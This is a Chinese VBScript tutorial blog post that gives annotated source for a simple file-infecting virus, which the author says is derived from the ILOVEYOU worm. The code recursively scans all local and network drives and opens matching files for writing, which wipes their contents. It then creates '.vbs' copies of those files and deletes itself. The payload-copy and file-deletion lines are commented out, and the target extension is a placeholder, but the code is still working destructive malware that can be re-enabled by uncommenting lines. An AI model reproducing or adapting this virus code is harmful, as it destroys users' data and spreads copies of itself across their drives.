Vbs脚本编程简明教程之十六

vbs 病毒的简单例子源代码解析

说明:作者对某些代码进行了修改。该文件是一个完整的程序。该文件执行之后,会寻找硬盘上所有满足条件的文件,对其进行强制性覆盖(满足条件的文件数据将全部丢失)、并再创建一个相同文件名但后带 .vbs 的文件。因此,请注意设立好破坏测试条件,千万不要对他人进行测试,否则,一切后果自负。

dim folder,fso,foldername,f,d,dc

set fso=createobject("scripting.filesystemobject")

set self=fso.opentextfile(wscript.scriptfullname,1)

vbscopy=self.readall ' 读取病毒体,以备复制到文件

self.close

set dc=fso.Drives

for each d in dc

if d.drivetype=3 or d.drivetype=2 then ' 检查磁盘类型

wscript.echo d ' 弹出窗口,显示找到盘符

scan(d)

end if

next 

lsfile=wscript.scriptfullname ' 该脚本程序路径

set lsfile=fso.getfile(lsfile)

lsfile.delete(true) ' 病毒运行后自我删除 ( 本人自加,爱虫病毒本身没有该代码)

sub scan(folder_)

on error resume next

set folder_=fso.getfolder(folder_)

set files=folder_.files

for each file in files

ext=fso.GetExtensionName(file) ' 获取文件后缀

ext=lcase(ext) ' 后缀名转换成小写字母

if ext="mp5" then ' 如果后缀名是 mp5, 当然不存在这种文件,这里可以自己修改,但是注意。请自己建立相应后缀名的文件,最好是非正常后缀名

set ap=fso.opentextfile(file.path,2,true) 

' ap.write vbscopy ' 覆盖文件,慎用

ap.close

set cop=fso.getfile(file.path)

cop.copy(file.path & ".vbs") ' 创建另外一个病毒文件

' file.delete(true) ' 删除原来文件

end if

next

set subfolders=folder_.subfolders

for each subfolder in subfolders ' 搜索其他目录

scan(subfolder)

next 

end sub








本文转自 chengchow 51CTO博客,原文链接:http://blog.51cto.com/chengchow/886989,如需转载请自行联系原作者


本文来自互联网用户投稿,文章观点仅代表作者本人,不代表本站立场,不承担相关法律责任。如若转载,请注明出处。 如若内容造成侵权/违法违规/事实不符,请点击【内容举报】进行投诉反馈!

相关文章

立即
投稿

微信公众账号

微信扫一扫加关注

返回
顶部